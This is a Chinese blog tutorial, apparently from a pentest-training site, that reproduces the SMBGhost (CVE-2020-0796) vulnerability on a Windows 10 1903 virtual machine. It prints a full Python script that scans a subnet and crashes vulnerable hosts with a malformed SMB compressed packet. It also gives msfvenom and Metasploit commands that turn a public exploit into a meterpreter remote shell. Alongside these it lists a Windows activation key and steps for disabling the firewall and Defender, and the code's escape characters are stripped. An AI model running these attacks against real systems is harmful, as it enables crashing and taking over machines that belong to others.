windows10永恒之黑漏洞复现
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
1. 漏洞介绍
在进行主机rce
漏洞复现的时候,发现win10除了永恒之蓝之外,Windows10
还存在永恒之黑漏洞,在这里通过安装镜像来测试下,中间遇到巨多的问题,最后复现成功。
1.1 漏洞描述
2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
• 漏洞名称:SMB远程代码执行漏洞、永恒之黑、SMBGhost
• 漏洞编号:CVE-2020-0796
• 漏洞危害等级:高
• 影响平台:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
以上来源于:https://blog.csdn.net/byt8563/article/details/107163118
请注意,在这影响的windows10
版本是1903
的,在这里参考了很多文章,发现存在漏洞的镜像如下:
ed2k://|file|cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso|5409650688|EBA2C4E4A7B30C55FA9C042DB7461675|/
直接下载即可,下载之后就开始安装,在这里使用虚拟机进行安装。激活码:
W269N-WFGWX-YVC9B-4J6C9-T83GX
1.2 安装注意事项
我在这里使用mac
上的VMware fusion
安装,最好断网安装,安装好之后,记得关闭更新:
安装之后,第一时间关闭防火墙,关闭Windows defender
:
最后确认当前版本信息:
2. 漏洞复现
靶机的ip
信息:
2.1 蓝屏代码测试
在这里使用以下代码可以直接使得有漏洞的系统蓝屏,但是在我测试的过程中发现能够蓝屏的系统,不一定可以rce
,代码来源于网上,来源我也不是很清楚了:
import socket, struct, sys
from netaddr import IPNetwork
class Smb2Header:
def __init__(self, command, message_id):
self.protocol_id = "xfeSMB"
self.structure_size = "x40x00" # Must be set to 0x40
self.credit_charge = "x00" * 2
self.channel_sequence = "x00" * 2
self.channel_reserved = "x00" * 2
self.command = command
self.credits_requested = "x00" * 2 # Number of credits requested / granted
self.flags = "x00" * 4
self.chain_offset = "x00" * 4 # Points to next message
self.message_id = message_id
self.reserved = "x00" * 4
self.tree_id = "x00" * 4 # Changes for some commands
self.session_id = "x00" * 8
self.signature = "x00" * 16
def get_packet(self):
return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature
class Smb2NegotiateRequest:
def __init__(self):
self.header = Smb2Header("x00" * 2, "x00" * 8)
self.structure_size = "x24x00"
self.dialect_count = "x08x00" # 8 dialects
self.security_mode = "x00" * 2
self.reserved = "x00" * 2
self.capabilities = "x7fx00x00x00"
self.guid = "x01x02xabxcd" * 4
self.negotiate_context = "x78x00"
self.additional_padding = "x00" * 2
self.negotiate_context_count = "x02x00" # 2 Contexts
self.reserved_2 = "x00" * 2
self.dialects = "x02x02" + "x10x02" + "x22x02" + "x24x02" + "x00x03" + "x02x03" + "x10x03" + "x11x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1
self.padding = "x00" * 4
def context(self, type, length):
data_length = length
reserved = "x00" * 4
return type + data_length + reserved
def preauth_context(self):
hash_algorithm_count = "x01x00" # 1 hash algorithm
salt_length = "x20x00"
hash_algorithm = "x01x00" # SHA512
salt = "x00" * 32
pad = "x00" * 2
length = "x26x00"
context_header = self.context("x01x00", length)
return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad
def compression_context(self):
compression_algorithm_count = "x03x00" # 3 Compression algorithms
padding = "x00" * 2
flags = "x01x00x00x00"
algorithms = "x01x00" + "x02x00" + "x03x00" # LZNT1 + LZ77 + LZ77+Huffman
length = "x0ex00"
context_header = self.context("x03x00", length)
return context_header + compression_algorithm_count + padding + flags + algorithms
def get_packet(self):
padding = "x00" * 8
return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding
class NetBIOSWrapper:
def __init__(self, data):
self.session = "x00"
self.length = struct.pack('>i', len(data)).decode('latin1')[1:]
self.data = data
def get_packet(self):
return self.session + self.length + self.data
class Smb2CompressedTransformHeader:
def __init__(self, data):
self.data = data
self.protocol_id = "xfcSMB"
self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
self.compression_algorithm = "x01x00"
self.flags = "x00" * 2
self.offset = "xffxffxffxff" # Exploit the vulnerability
def get_packet(self):
return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data
def send_negotiation(sock):
negotiate = Smb2NegotiateRequest()
packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()
sock.send(packet.encode('latin1'))
sock.recv(3000)
def send_compressed(sock, data):
compressed = Smb2CompressedTransformHeader(data)
packet = NetBIOSWrapper(compressed.get_packet()).get_packet()
sock.send(packet.encode('latin1'))
sock.recv(1000)
def darkness_attack(ip: str):
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
sock.connect((ip, 445))
send_negotiation(sock)
try:
send_compressed(sock, "JST" * 100)
except Exception:
return True
return False
def scanner(ip):
pkt = b'x00x00x00xc0xfeSMB@x00x00x00x00x00x00x00x00x00x1fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00$x00x08x00x01x00x00x00x7fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xx00x00x00x02x00x00x00x02x02x10x02"x02$x02x00x03x02x03x10x03x11x03x00x00x00x00x01x00&x00x00x00x00x00x01x00 x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00nx00x00x00x00x00x01x00x00x00x01x00x00x00x01x00x00x00x00x00x00x00'
for ip in IPNetwork(ip):
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
try:
sock.connect((str(ip), 445))
except:
sock.close()
continue
sock.send(pkt)
nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)
if res[68:70] != b"x11x03" or res[70:72] != b"x02x00":
print(f"{ip} Not vulnerable.")
else:
darkness_attack(str(ip))
print(f"{ip} Vulnerable")
if __name__ == "__main__":
print(scanner('192.168.135.23'))
# if len(sys.argv) != 2:
# exit("[-] Usage: {} target_ip".format(sys.argv[0]))
在最后修改ip
地址信息就可以了,直接运行,就得到了蓝屏:
代码运行前:
代码运行后:
2.2 RCE
攻击机:mac
+ msf
靶机:带有永恒之黑漏洞的Windows10
系统,ip:192.168.135.23
请注意,如果上述可以打蓝屏,但不代表可以RCE
!这一点很重要,因为在实际运用的过程中发生过这样的情况,尝试非常多次都是无法获取会话。
在这里使用github
上的工具进行:
https://github.com/chompie1337/SMBGhost_RCE_PoC.git
首先需要使用msfvenom
来生成shellcode
,替换上述链接中的shellcode
:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8443 -f py -o shellcode.txt
在这里使用的端口是靶机的端口8443
,端口可以任意:
然后复制shellcode
的内容,将其中的buf
关键字替换为USER_PAYLOAD
;
全部复制:
在这里替换关键字:
将shellcode
中的关键字buf
替换为USER_PAYLOAD
替换原来程序中exploit.py
中USER_PAYLOAD
的部分:
替换之后,再准备msf
的部分:
开启msf
,使用监听模块:
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8443
set rhost 192.168.135.23 //靶机地址
run
此时使用刚刚的脚本来运行:
python3 exploit.py -ip 192.168.135.23
在这个脚本中,我注释掉了作者加的那句input
,不影响程序的运行:
此时执行,发现蓝屏,在这个脚本执行的时候,可能有多次蓝屏的情况,在实战中慎用:
等靶机启动之后,再执行看下,此时成功:
当然,在这里还有其他的情况,比如执行脚本失败等,可以多执行几次,也会出现脚本执行完之后,没有回弹会话的情况,可以把msf
的监听停掉,再run
以下看看,说不定可以。
但是有些环境下确实是可以测试出蓝屏,但是无法RCE
,不知道是不是和硬件也有关系。
3. 总结
永恒之黑这个漏洞,慎用!
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/8064.html